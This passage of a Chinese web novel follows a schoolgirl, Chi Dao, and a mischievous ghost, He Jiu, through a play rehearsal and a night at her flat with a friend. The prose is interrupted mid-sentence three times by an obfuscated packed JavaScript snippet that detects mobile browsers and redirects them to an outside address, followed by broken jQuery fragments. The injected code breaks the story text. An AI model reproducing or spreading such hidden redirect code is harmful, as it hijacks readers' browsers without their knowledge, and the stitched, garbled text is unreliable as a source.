咧开嘴不怀好意地笑,露出泛黄的牙齿:“就你们这样的臭娘们到时候上台,就只会拖我们的后退。”
说的大概是她读旁白的事,但……很明显这只是个过来羞辱迟岛的借口。
“嗯?”见迟岛一直没有出声,只是低着头咳嗽。似乎是觉得没意思,也怕时间久了会引起别人的怀疑。
他开始想着脱身:“啧,真没意思,连反抗都不会。”
黄毛混混,抬手掏掏耳朵,转过身迈开步子打算离开。
迟岛在背后深深地看了他一眼,轻轻拉开洗手间的门,没有发出声音……
片刻后,看向手里的杆子,紧紧攥住,指甲陷进肉里,似乎都感觉不到疼痛。
“哎呦喂!”
嗯?迟岛脸上的阴沉散去,疑惑地抬眸,她还没动手呢。
只见刚才的人四仰八叉地倒在地上,似乎是被什么绊了一跤。
莫名的,这件事蹊跷得不像话,迟岛低下头,走廊有什么东西能……
骤然意识到什么猛然抬头,然后被光刺痛下眼睛,夏日闷热的空气突然凝固住。
她眨眨眼抬手遮住莫名刺眼的阳光。
在离她只有半米的位置,站着一个少年,低着头,黑发,在大夏天穿卫衣,脸上的面容模糊地看不清。
几乎不着余力就能猜出来他是谁,迟岛放下手,僵住的身体不自觉地放松,心里的惊讶散得一干二净。
他姿态懒散地站在那里,嗤笑一声,云淡风轻地收回伸出去的脚,踩上了那人的脑袋。
抬眸,看见迟岛依旧愣在原地,好整以暇地挑挑眉,说出的话还是那么欠揍:“怎么?拿拖布杆子抡死他吗?”
迟岛面无表情地扔掉手里的拖布,抿抿唇没有说话。
可这家伙就是一点都不知道见好就收,捻了捻脚下的脑袋一脚踹开,嘴角勾起浅笑,继续调侃迟岛:“演树啊?他们到底怎么说服你的。”
迟岛:“……”正忍不住想要怼回去。
那家伙却先一步朝她张开双臂,阳光移位,天色骤黑,迟岛一瞬间看清了他眼尾的那颗红痣,和他深邃的墨色双眸。
他懒洋洋张开手像是在等一个拥抱,但嘴角的那抹笑怎么看都觉得是在挑衅。
嘴唇张张合合,带着空气中漂浮的尘埃,几秒后,拖着腔调的话才传到她的耳朵里。
他说:“要迟到了啊——树小姐——”
13. 谁要你救了
长得看不见尽头的走廊显得份外沉寂,少女独自站在走廊内,面向前方。
像是看到了什么,踌躇着向前迈了两步,又倏然顿住。
低下头自嘲地轻笑出声。
很白眼狼的双手抱胸,时隔好几天再对他说的第一句话,还是格外扎人地质问:“需要你救了?”
对方明显愣在原地,即便看得并不清晰,但脸上错愕的表情可比犯贱挑衅的时候顺眼多了。
迟岛心里发笑,心情好转了不少,一直紧绷的神经也在无意中放松下来。
他漫不经心的放下手,同样嗤笑出声,毫不见外的怼回去:“哈,不让救?等看你拿着拖把杆子进局子?”
向来总是无理取闹的鬼,这次也终于尝到了无语到想笑的滋味。
身份对掉,这次不讲理地变成了迟岛。
“咳咳。”但这位明显没之前那个脸皮厚。
她尴尬地咳嗽两下,偏过头,把脚边的拖布杆子踹到一边,头顶上缝的很随意的“树叶”都跟着晃。
顿了顿扭过脸低下头,心里依旧不领情,多管闲事,谁需要他救了?
半响,鞋跟抬起又放下,最后试探着迈开步子。
在迟岛的视野里,两人间的距离慢慢拉近,可他的面容却依旧像蒙了一层纱,阳光照在上面,是模糊的。
她干脆眼神拐着弯看向其他地方,目光四处扫荡,就是不看正前方。
所以即将面碰面,站到他身前时,她脚尖一转堪堪绕了一大圈走过去。
被当成障碍物绕过,但本来就看不到的鬼:“……”
这样确实好幼稚……
“哈。”歪头笑得无奈,额前的发丝随着动作遮住墨色眼眸和眼尾的红痣。
几秒后,散漫地转过身,跟上前面人的脚步,略显亲密地埋怨:“又不说谢谢啊——”
迟岛闷着头向前走,就是不吭声,心里知道他说的还有之前发烧的那次。
身后的鬼没有脚步声,浑身却散着让人不可忽略的寒意,还格外喜欢搞出点别的什么动静来彰显着自己的存在感。
比如……
“嘎达嘎哒。”打开又关上的窗户,走廊上窸窸窣窣的绿植……
烦死人了。
心里想的依旧是嫌弃的话,脚上的脚步也一刻没停下。
但手上却无意识地摩挲着戏服的衣角。
啧,窗户坏了算不算损坏公共物品?绿萝也快被薅秃了吧?
弄坏了不用赔钱?别人又看不见他,找她赔怎么办?
……又没钱赔。
日光下,扬起的微小尘埃模糊了画面,面无表情的少女穿着反差的笨拙表演服,只露出面容和几缕没塞进衣服的凌乱发丝。
生人勿进的冷漠柔和了很多,又或许是因为……
“咔哒咔哒!”身后的动静越来越过分,窗户都有隐隐坏掉的迹象。
迟岛不情不愿地回过头,刻意起音量,想要说教几句:“喂……”
后面的音量降下来,迟岛愣愣地站在原地。
她身后空无一人,微风吹起的纱帘映在琥珀色的瞳孔,大概是走廊尽头的窗户没有关紧,所以风一吹,就会咣当咣当响个不停。
沉默片刻,迟岛故作若无其事地回过头。
哦,原来讨厌鬼离开了。
“神经。”松开已经揉皱的衣角,不自觉脱口而出的话,声音小到连迟岛自己都听不清。
“哎,背后偷偷说别人坏话可不是个好习惯啊。”乍然响起的话,近得就像贴在她鼻尖上。
迟岛瞳孔微微瞪大,猛地向后踉跄一步,鞋底踩上落了一地的绿萝叶子,滑了一下,扶住墙面才堪堪站稳。
说坏话被当事人抓包,那人拖着腔调,声音懒散,语气听不出喜怒。
说个话总是凑近别人,没有一点边界感,还毫不自知……
她深呼一口气,平复心里的掀起的波动,说你坏话难道还要挑个你不在的日子说?
拧着眉头压着火气,低头把地上的绿萝叶子踢开,嗤笑一声嘲讽回去:“突然出现在别人身后吓人也不是个好习惯。”
把还她差点摔倒的破叶子踢到一边,转过头看向那盆倒霉的绿萝盆栽,顶上已经基本秃掉了……
跟它有仇吗?就拔人家的叶子。鬼使神差的……迟岛抬手摸了摸自己头顶的零星几片“叶子”。
然后,阴沉着脸放下手,偏过头咬住下唇。
没救了,感觉得自己也被传染上神经病了怎么办?
迈开步子“哒哒哒”地往前走,决定不论他说什么话,都不会再脑袋抽筋搭理他,就是被他传染的。
不过……之前一直和她呛声的的鬼,这次却罕见地没有吭声怼回来。
迟岛心里升起疑惑,但抿了抿唇,到底还是没有先开口说话。
时间过得不快不慢,等到达礼堂门口,握上门把手想要开门时,也不知道对方是否还在。
迟岛一怔,皱眉摇了摇头,管他干什么,反正只有他吓别人的份,谁碰上他谁倒霉。
手上用力,礼堂的门却只是被拉开一条缝。
因为……
“真的不需要帮忙吗?”声音放得有点低,并没有找茬的挑衅和嘲笑。
听起来就只是平静地发问,语气里甚至没有带上疑惑。
正常应该会先纠结这句没头没尾,因为来的莫名其妙,前言不搭后语。
但……他还没走。
这是迟岛顿住开门的动作后,脑袋一懵,最先蹦出来的想法。
有一说一,迟岛并不怎么适合穿这件衣服。
表面温柔实则冷淡的少女和笨拙可爱一点搭不上边,但头顶上些许稀疏的“树叶”也会在她愣住时停止摇晃。
显得平时很冷酷无情的人看起来呆呆的。
在她看不见的地方,他无声笑笑,“微凉的风”轻轻拂过“绿叶”让它们又重新晃动起来。
可流动的时间在迟岛看来好像沉寂了很久。
隔着一扇门,可以听到礼堂内彩排时大家的欢笑声,而礼堂外的少女只是握着门把手久久没有推开。
世界被分成了大相径庭的两部分。
迟岛低着头,琥珀色的眼底情绪翻涌,良久,才咬着牙关别扭地挤出两个字:“……谢谢。”
声音小得几乎听不到,更何况嘈杂的热闹仅仅隔了一扇门。
但她说完就赶紧推开门走进去,完全没有留给对方任何反应的时间,不管他有没有听到,都将他“砰”的一声关在了门外。
关上房门后良久。
“扑哧。”
恶鬼突然笑出声,更像是终于憋不住笑,伪装起来的正经和落寞碎了一地。
她方才耳朵尖都泛上了红润,面上却还一副冷酷,一点都不在乎的样子。
轻笑声闷在胸膛里,尾音音调重新欠揍地微微扬起,某只鬼在心情大好后,又开始在作死的边缘试探:
“好可爱啊——”
——
“啊嚏!”
站在舞台角落里的“树”打了个喷嚏。
“迟岛同学不要乱动啊,现在,要想象自己是一棵真正的树,不会说话也不会动,好了,拿出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724072|173971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你的信念感来!”
姜元把卷起来的剧本当喇叭,说得激昂慷慨,更甚至双手比划着示范。
恨不得冲上舞台手把手教她。
迟岛沉默片刻,侧侧身,换了个舒服的姿势站着:“……好的。”
眼睛一眨不眨地看着不远处的主演们浮夸的演戏。
“你就是我见过最漂亮的姑娘!请嫁给我吧。”王子牵着辛德瑞拉的手说的深情款款。
幸德瑞拉却有些犹豫:“可是……”
旁白:“这里请大家注意,像这种随随便便地一看就是渣男,不是觊觎你的容貌,就是觊觎你的钱包,快跑!打车跑。”
迟岛:……无语地悄悄转过头不忍直视,目光不小心瞟到了台下的乔黎。
很难不从心底升上一抹敬佩,这位人才能写出这样的台词,简直就是营销界的下一颗行星……
耳朵还听着表演,但自从悄悄转过头后,思绪早就飞走了。
“树干”的领子有点勒脖子,结束后带回家弄弄吧。
好像还有几张素描作业没来得及画……然后,几乎是不可避免地想到方才的道谢。
迟岛抿抿唇,垂下眸子看不出眼底的情绪。
……啧,小气鬼,就这么差那一句谢谢吗?
前面的主演们演得热火朝天,迟岛观察着姜元的视线,不动声色地又往角落里移了移。
“迟岛。”
听到别人叫自己,迟岛身体一僵,抬眼谨慎地看向姜元,被发现了?
但姜元看向的却是别处,还时不时满意地点点头,总之看的肯定不是她,所以叫她的另有其人。
迟岛蹙起眉头,那……还有谁。
当时因为下意识被抓包的紧张,没有听出对方的音色。
思考间,身后莫名传来小小的拉力,腰侧的衣服像是挂住钉子,又像是被什么人轻轻扯了扯,迟岛面无表情缓缓回过头。
身后不出意外没有任何人。
迟岛手指不自觉地握紧,声音虽然有点干涩压得很轻,但依旧没有透露别的情绪,甚至有点不耐烦:“喂,别闹了。”
可对方却似乎不是很懂她的话,拉力没有消失,虽然确实开着窗户,但一阵带着阴湿冷意的风,莫名在礼堂内刮起。
落灰的红色幕布被吹掉了不少的灰,正巧站在下面的迟岛:“……”
其他演员自然也受到了波及,一名扮演侍卫的演员呸呸几声吐出嘴里的灰。
自己还小声嘀咕了一句:“我去,难不成礼堂里那个鬼学姐的传说是真的?”
他这明显就只是随口说说,说完后也没有再放在心上,但真正见过鬼的迟岛:“……”
所以这里不是只有一只鬼对吗?
想到这里的,迟岛咽了咽口水,没来得及多虑,身后的戏服很明显又被“人”扯了扯。
每次的力度都算不上大,在恼人且欠揍的范畴内,所以迟岛才会在没闻到熟悉气味的情况下,先入为主地认为是他。
但,自从知道不只有一只鬼后……
万一身后……不是他呢?
迟岛不自觉地屏住呼吸,突然发现自己好像从未想过这个可能,她视线扫向斜侧方,似乎是犹豫了很久。
他的名字在嘴里滚了好几圈,但真正叫出口时,心跳还是在不自主的加快。
半响,嫌弃的扯着少女表演服的恶鬼,才听见,平常总是冷硬着说话的她放轻了音调,说:“……贺究,你在吗?”
贺究怔了一下,垂眸,缓缓松开扯着衣服的手,捻捻指尖,心想:这表演服质量真是太差了……
14. 陪我一下
十几分钟的时间好像过去了几个世纪那,对方没有回答,迟岛也就没有再追问。
身体一歪靠上旁边的墙,还没来得及结束的夏天,到底还是热的,更何况迟岛还穿着笨重的玩偶服。
她耳边的发丝粘在脸颊上,眸子却依旧不冷不热地垂着,盯着地板上的纸屑发呆。
心想:笑死,对方万一真是个会吃人的,连自己怎么死的都不知道。
她又不傻,像这样相安无事的就刚好。
于是,直到彩排结束,谢幕鞠躬时,角落里昏昏欲睡的迟岛,都没有走出角落同他们站在一起。
幕布落下,黑暗中,角落里的,不管是人还是鬼,好像都被全世界给遗忘了。
幕布外,演员们互相打着哈哈,互相调侃着走下舞台。
而迟岛却只是打了个哈欠,抹掉眼尾溢出的泪花,困倦地眨眨眼,仿佛什么热闹都和她无关,她也不在乎。
还在想究竟从哪里出去,才能不被姜元和乔黎发现没有谢幕,神不知鬼不觉混进演员里。
眼前一片漆黑,只有大红幕布中间的那条缝里有光溢进来,空气停止了流通,再呼吸起来显得格外沉闷。
“哈。”一声压抑不住的轻笑,迟岛头顶上本就不多的“树叶”被拽掉一片,他笑得愉悦。
至于为什么开心?贺究手上的绿色碎布被抛向空中,又打着转缓缓飘下来。
大概是……黑暗中不止只有自己一个了,有个人很懒,她不愿意走到幕前。
迟岛察觉到对方的揪“叶子”的动作,皱了皱眉头,但到底没有说什么,她早就知道是他,只是没有拆穿。
但迟岛在心里默默记下,就这一次,仅此一次,看在他不怎么开心的份上,不计较。
又打了个哈欠,指尖漫不经心地揉着眼睛,脸上的表情依旧波澜不惊,一点都不觉得对方的出现很意外。
发现被忽略,恶鬼俯下身,下巴亲昵靠上少女的肩膀,黑墨色的发尾扫过眼角的红痣,掩盖住眼底的情绪,只有唇角还一如往常地挂着微笑。
他的手指,堪堪穿过少女的衣角,整个身体都像是不良信号一样乱闪,时而透明时而可见。
美好温情的画面,在昏暗的幕后上演,没有人看见,自然不会觉得有多么荒唐。
冻得吓人,跟冰块般的冷气突然贴上来,给揉眼睛的迟岛冻得一激灵,手上动作一顿,皱着眉头往旁边挪了挪。
又犯什么神经。
……
傍晚,阳台上,迟岛将披肩的长发挽起,穿了件旧衣服,戴着口罩,蹲在地上铲掉上面的杂草和青苔。
房子不知道放了几年,野草的根都深深扎进砖缝里,青苔也滑溜溜的很不好打理。
迟岛站起身,抬手擦掉额头上的汗。
之前就打算在阳台上种一些花花草草,虽然没有种过缺少经验,但还是决定先把这里清理出来。
夜色,少女沐浴在阳台暖黄色的灯光下。
身上或多或少都沾上了泥土,尤其是裤腿,甚至是额头上,应该是方才擦汗时沾上的。
迟岛叹口气,弯下腰准备继续干活,争取搞完了早点睡觉。
“吱呀——”房门打开,又慢悠悠关上,刻意发出刺耳的声音。
迟岛太阳穴跳跳,嘴唇抿成一条线,握紧手里的工具,努力移开注意力不去在意那边的噪音。
“吱呀——吱呀——”发出声音的这次从一扇门扩张到了两扇门。
迟岛:“……”
“吱呀——吱呀——吱。”声音戛然而止,因为……
迟岛走出阳台,“砰”的一声合上了卧室的门,手里的铲子“咣当”一声掉在地上。
冷冷地瞥向前方的某处:“再吵把你砌墙里。”
空气安静了一秒钟,然后,像是故意挑衅似的厨房的门又“吱呀——”一声打开。
迟岛手紧紧攥拳:“你……”
“叮咚——”话被打断没有说完,这时门铃响了。
迟岛顿了顿,决定暂且先不同他计较,松开地抵住房门的手,眼神威胁地瞥了发出声音的某处。
先去洗手间把手洗干净,期间门铃一直叮叮咚咚响个没完。
终于打开门,最先看到的是容柔柔突然凑过来的脸,然后被一下抱住:“我来找你睡一晚啊。”
迟岛最开始先是一怔完全没反应过来,当听到容柔柔说来找她睡的时候,瞳孔猛热睁大。
连忙把她拉开,手放在她的肩膀上,无比认真地看着她的眼睛,一脸严肃地一字一句:“不,可,以。”
容柔柔瞳孔地震,完全没有想过会被这么干脆地拒绝。
虽说迟岛平常也极大可能不会答应,但是,她其实很多时候就是冷着脸说她几句,还从来都没有这么认真地拒绝过。
“为什么!”容柔柔反问。
还没等迟岛回答,她突然一副了然地笑出声:“哦——我知道了。”
“上次你就说你在家里藏人了,还每天晚上给他摆姿势画你的素描作业!”看起来真的恍然大悟的样子。
迟岛:“……你听别人说话就只听一半?而且那是玩笑话吧?”迟岛试图把聊天的方向拉回正轨。
拉着容柔柔的手,想要把她带到门口关上门,不然要是让另一个麻烦听到了还得了?
结果容柔柔一把甩开迟岛的手,中气十足地说:“我不走!”
迟岛:“……”这傻孢子怎么那么喜欢把自己往老虎嘴巴里送。
容柔柔伸手戳了戳迟岛的肩膀,满脸都是最好的朋友竟然背叛她的心痛:“我当时也天真地认为你说的只是玩笑话,可是呢!你是不是就是背着我有了其他好朋友?”
迟岛这下是真的没话说了,她无语扶额,缓缓地叹出一口气,决定实话实说:“里面有鬼。”
“哼哼,你现在为了骗我连这么敷衍的借口都编出来了,亏我当时还辛辛苦苦地帮你搬行李,你现在连让我进去喝口水都不愿意。”
没办法,这人是真油盐不进。
被吵得头疼,耳边都嗡嗡响,迟岛揉揉太阳穴侧开身让出一条路。
得了,随便吧。
没等开口容柔柔就咻一下进了屋子:“哇,好干净啊,地方也挺大的。”
容柔柔像只兴奋的麻雀,在客厅里溜溜哒哒转了一圈,又跑进厨房,把厕所都转过了一遍后。
才一屁股坐在沙发上,往后一仰:“你这沙发比宿舍的椅子舒服多了。”
迟岛没回话,关上门后,后背抵着房门,目光扫过一圈客厅没发现什么异样。
松开门把手,迈开步子走向容柔柔。
他最好能老实一点。
容柔柔还瘫在沙发上,见迟岛走进,连忙大爷似地挥挥手:“愣着干嘛呀?客人来了应该上点水果,再倒杯水啊。”
然后容柔柔手心里如愿有了东西,乐滋滋地扬起嘴角,心里也震惊于迟岛的配合:“这还差不多……”
拿到眼前一看发现是一把铲子……
再一看迟岛,她正往阳台那边走。
容柔柔不满地朝着迟岛的背影晃晃手里的铲子:“什么啊,凭什么我要干活。”
迟岛低头挽起胳膊上的袖子,只是淡淡说了一句:“不干完活没饭吃。”
容柔柔立马一个鲤鱼打挺:“我干,谁说我不干了。”
时间一分一秒过去,原本还不算太黑的天色彻底暗下来,街道上零零散散地亮起路灯的光,和晚上会发光的招牌。
空地被清理得差不多了,只剩下一些边边角角的地方还没有清理。
迟岛低头铲着青苔,才终于问出声:“为什么来找我住?”
认识这么久,容柔柔从来不是个会勉强别人的女孩子,但这次她明确说了不想她过来住,她却执意坚持这件事确实蹊跷。
除非……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15724073|173971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她真的没地方住了。
听到迟岛的问话,容柔柔果然慢慢停下手里的动作,支支吾吾地开口:“就是……和江星冉闹矛盾了。”
一听到这个,不用容柔柔再说清楚,迟岛也淡淡地点点头知道了大概的事情经过。
江星冉是迟岛之前宿舍的宿舍长,很负责的一个小姑娘,和容柔柔玩得也比较好。
但……就是管她太多了,不是说不可以管,而是作为朋友应该适当地给对方自己的空间。
后面的话,迟岛没有再问她,两人就一直沉默着把阳台清理完。
换身衣服,收拾干净坐在沙发上等外卖的时候,良久容柔柔偷偷看了一眼身旁的迟岛,试探着开口:“你既然看出来了,那怎么一进门的时候不问我啊?”
迟岛闻言,只是默默地掀开眼皮瞥了她一眼,又重新合上:“问了以后,你跑了谁帮我收拾阳台。”
容柔柔:“……”
气氛回归得安静,一时间没有人再开口说话,客厅里的时钟“哒哒哒”地向前走着。
迟岛身边的沙发悄悄陷下去了一些,没人注意到的寒气,带着惹人犯困的薰衣草香,无声的蔓延开来。
容柔柔叹口气,不自觉的打了个哈欠。
侧过身子面对着迟岛坐着,忍不住把心里的烦心事,倒豆子一样说给迟岛:“你还记得我之前总提减肥的事吧。”
迟岛没说话,合着眼倚在在沙发上呼吸平缓,慢悠悠点了点头。
容柔柔心情本来就低落,虽然眼皮明显越来越沉。
也并没发现任何不对劲,继续低着头自顾自地说:
“昨天我藏的一包薯片不见了,今天才知道是她直接翻我包,直接给我扔了。其实这样让我很不舒服……”
说完后,顿了顿抬头等着迟岛的回应。
迟岛这次睁开眼坐起身,坐起身将头发撩到身后,脸上看不出表情:“嗯,这些话你现在打电话和她说一遍。”
“对吧,你也觉得是她的……啊?什么?”一开始没有听见迟岛后面的话,慢半拍地反应过来迟岛说了什么。
不可置信地指指自己:“我?和她?你疯啦,我这辈子都不可能和我和好的。”
迟岛把她的手指头按下去,把她拉起来往卧室推:“给你三十分钟,把这事解决了,不然我就和她说,麻烦死了。”
容柔柔稀里糊涂地被推进去,在迟岛关门时拦住了门:“你干嘛?怎么了?”
迟岛愣了一瞬,握门把手的手不自觉收紧,再抬头时却是笑着的。
穿着浅蓝色睡衣的少女笑的温柔,两侧的发丝乖乖的垂下来,脸颊还有两个浅浅的酒窝,但怎么就……那么吓人呢?
“没事,就是和只鬼,算算今天的账。”
房门呼地一下关上,带起来的风都吹起了容柔柔的刘海,她还是有点懵,什么叫算账?还和鬼?
房门刚刚关上,客厅的灯就骤然熄灭,冷冰的吐息,带着她的味道贴上她的耳畔:“听说……我是被你藏在家里的人?”
迟岛深呼一口气,暂时压下怒火,觉得在算账之前,解释完这件事好像同样重要,但刚张嘴又被对方堵了回去。
贺究戏谑的笑着,凑的更近一步,距离缩短,声音放轻说的缱绻:“为什么藏我?”
迟岛皱眉,双手抱胸后退一步:……再不解释就说不清了。
她咳嗽两声,字正腔圆的把之前的话重复了一遍:“原话是,我杀了人,怕被发现藏家里……”
暧昧的氛围碎了一地,诡异的沉默下来。
阳台外的顶灯没关,微弱的橘黄色灯光,慷慨的照进漆黑无光的客厅。
过去的几秒钟被衬托得尤其长。
良久,迟岛嘴角突然扬起一抹狡黠的笑,在对方尴尬的沉默下,继续在心口补刀:
“但意思好像,大差不差?”
贺究:谢谢,死人和鬼的区别……
15. 他写字好丑
对方当然没有回话,可能是真的不知道要回些什么。
昏暗的客厅恢复了沉寂,外面的灯光只能照到一点点地方。
阳台外的杂草被铲掉,所以就算微风再次拂过,也不会再听到野草窸窸窣窣的相互摩擦声。
迟岛嘴角依旧扬着淡淡的浅笑,眼神挑衅,双手抱胸后退一步倚上卧室的门。
笑容渐渐消失,懒懒地抬起眼皮又撂下,说出的话一如既往地不顺听:“自作多情。”
她先他一步打破沉寂。
暖洋洋的橘色灯光,映上少女本该冷冰冰的面容,削弱了她淡漠的同时,取而代之是懒散的困倦。
少女站在光里,但光只照到一点地方,所以另一边没有被光照到的角落,昏暗的夜色里空气似乎都怔愣了一秒。
“哈。”对方似乎是个很大度的人,他偏过头出声轻笑,就算被那样说也并没有生气。
唇角挂着看似无奈的笑,指尖微动,伸手想要将她额前的遮眼的发丝别回耳后。
可指尖刚刚探出黑暗,堪堪触及到少女那边的光亮时,半透明的指尖像是融入进光里,消散不见。
贺究怔住,唇边的笑僵硬一瞬又重新扬起,仿佛自己只是不小心忘记了,其实并不在乎。
他无所谓地慢悠悠垂下手,学着迟岛的样子,懒散地倚上墙面。
与她面对面站着,恶劣地学她说话:“哦,自作多情啊。
迟岛白他一眼:神经。
看见他学自己,立刻站直身子又翻了个白眼:还学人精。
贺究眼神看向别处,装作没有看到。垂眸不自觉捻捻指尖,暗暗地想:
她现在绝对不知道,自己有多像一只坏脾气的猫,碰一下就一爪子呼过来的那种。
“你动我的素描本了。”迟岛忽然出声,用的陈述句,面上蹙眉说得冷淡又确定。
都磨蹭这么久了,是时候算账了。
贺究抬眼看她,轻笑一声,拖着调子耍无赖:“怎么说,没有证据,你冤枉我。”
迟岛面无表情拿出一个纸团抛向空中,又稳稳接住,意思不言而喻。
贺究视线跟着纸团移动,最后定在迟岛的手心:……好随意地打包证物方式。
但……他眉梢轻挑,死到临头还一点不心虚:“哦,一个纸团能说明什么?”
迟岛闭了闭眼,压着怒气,展开那团皱得不成样的纸。
这是在沙发缝隙里发现的,上面一摸一手红色颜料,显而易见的幼稚吓人游戏,估计是吓唬容柔柔的……
展开后,上面貌似是用红色颜料画的画,就是颜料糊太多了,没干的时候一摸一手红色……确实吓人?
画得也和鬼画符一样,一看就不是迟岛画的,总之众多因素之下,很难看清画的是什么。
迟岛把手里的画转了个方向,低头又仔细辨认了一会,片刻后,幽幽地抬起头:“嗯,还动了我的颜料。”
很明显这是没认出来上面是什么,在转移话题。
贺究默默叹口气,却丝毫明显没有被抓包的自觉,漫不经心地敲着窗沿,直接大大方方地承认:“嗯,动了。”
迟岛一怔,显然没想到对方会直接承认。紧接着,手上将纸被重新团成一团,琥珀色的眼眸逐渐变冷。
脸皮这么厚,未经允许动别人东西,一点都不心虚的……
迟岛冷笑一声,皱巴巴的纸张又被蹂躏成纸团,用力又略显随意地扔向对面。
黑暗中看得并不清晰,只能看到破烂的纸团滚落到地上,至于有没有砸到鬼,迟岛也不知道。
她嫌弃地拍拍手上不存在的灰,转身想打开卧室的房门。
但,阴冷的微风带着潮气缓缓靠近,直到毫无边界感地吹起少女耳畔的碎发,带起若有似无的痒。
他说得依旧懒散,声音不大,刻意压低,听起来却像带上了些许诱哄与无奈:“别生气,赔你套新的。”
她怎么这么笨?方才的纸团直直地穿过他的胸口,心脏处的位置。
穿过的一瞬间,就如同石子落入湖水般,只溅起圈圈涟漪,什么都没留下。
透明的指尖划过她的发丝,又轻笑一声,声音有些哑:“嗯?”
迟岛指尖一颤,松开门把手,抬手摸上耳朵,快速往一旁挪了一步。
她深呼一口气,弯腰隔着胸膛摸上了自己的心脏,它现在跳的有点快,明明他的呼吸间的吐息都是冷的,但为什么……
迟岛恍惚地揉揉泛红的耳尖,抿唇,为什么耳朵会发烫呢?
“不过有一个小小的条件啊……”
果然……
再听到这熟悉又欠揍的话,迟岛的心跳声渐渐平复,垂下手,深呼一口气又缓缓吐出去。
脑袋重新倚回墙面,扬扬下巴示意他快点说,看起来比出钱的要拽多了。
迟岛决定配合他一下,毕竟东西不要白不要……
但其实更深处的逻辑,是他恢复往常挑衅又戏谑的状态时,她竟然莫名的感到安心。
“哈,就这样,你只要说出那张纸上写的是什么就可以了。”他笑笑,纵容地开口说了一个很简单的条件。
眼眸微垂,看着地上的纸团走神时,对方已经说完了条件。
迟岛神情一滞,思绪还没从神游中回来,所以心里的疑问直接脱口而出:“你写的居然是字?”
他原本刚刚捡起地上的纸团,正要塞进迟岛手心的动作倏然顿住。
……原来甚至没看出来上面是写的是字吗?
这比简直比直接说字丑还要伤人。
气氛重新回归尴尬的安静,只是这次尴尬地变成了两个,没人能独善其身就是了。
慢半拍地反应过来自己说了什么,迟岛缓缓地偏过头看向别的地方。
对面简直气笑了:“没想到,这个对于这位小姐来说,确实很有难度啊。”
听到对方一如既往地嘲讽,迟岛蹙起眉头转过头想要怼回去:“就你……”
话没说完。
身侧的手腕突然被人拉住,迟岛瞳孔瞪大,没等看向那边,那股突如其来的拉力就把她拉进了卧室,“咔哒”一下关上门上锁。
事情发生的突然,但贺究却只是略微诧异了一小会。
这大概是听到了声音,担心她,把她拉走了吧。
门后的恶鬼垂眼看向指尖,长长的睫毛掩盖住眼底的情绪,又抬眼看向紧闭的房门不语。
忽然“呼”的一声,窗户被吹的轻轻晃动。
注意力被转移,移开视线,心不在焉地看向窗外,哦,风吹到现在的没有停,它不累吗?
因为无所事事,所以干脆趴到窗台上,和每天晚上没什么一不样,重复数着楼外的灯光。
眸光一转,却被阳台角落处的一抹白色吸引。
仔细看看,发现那是一朵小花,很显眼,但是隐藏在夜色里叫不上名字的那种,可它现在安逸地在空旷的阳台上,独自享受着拂过的微风……<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15733219|173971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“哈。”黑暗中,无人的客厅窗边突然传来一声轻笑,听不出其中的意味,却能莫名感觉到他的愉悦。
贺究把玩着手里的纸团,眸光渐渐柔和:原来没有赶尽杀绝啊……
卧室里——
“啊啊啊,小岛,你到底怎么了。”
迟岛被容柔柔用力晃着,脑袋晕得几乎听不清她说话。
用了点力气推开她,揉揉脑袋,这什么和什么啊。
片刻后,终于缓过劲的迟岛,终于侧头看向一旁嗷嗷哭的容柔柔。
“你……”
“哇呜呜呜!”
没等她问出口,就被容柔柔突然用力搂住,喘不过气的同时,要问出口的话被嚎得一嗓子给堵了回去。
迟岛:“……”默默在心里叹口气,动作生疏又紧绷地回抱住她。
良久,她才松开她。
容柔柔站在她跟前抽搭搭哽咽着,好几次试着开口说话,都断断续续听不清楚。
迟岛任命地叹口气,拍着她的肩膀带她走到床边坐下。
把纸巾递给她,观察着容柔柔的清晰试探着开口:“怎么?谈崩了?”
接过纸巾,本来都不怎么哭了的容柔柔嚎得更大声了。
迟岛:……为什么有人分明不会安慰,还要硬安慰呢?这不给自己找事做吗?
……于是后来她就只是这么静静坐在旁边,偶尔递过去一张纸巾,或拍拍她的肩膀。
容柔柔才慢慢缓过情绪:“就,就是,说得不好嘛。”
虽然说话依旧断断续续,但这次至少能听清了。
迟岛眉头微蹙又递过去一张纸巾,这明显在她的意料之外,两个人又不是真的讨厌对方,只要把话说开,矛盾其实就已经解决一半了。
除非……看向擦鼻涕的容柔柔,迟岛犹豫着问:“你开头是怎么说的?”
一说到这个,容柔柔眼睛瞪大,气鼓鼓地把手上的纸巾往地上一摔:“我直接就是说,你以后都不要管我!”
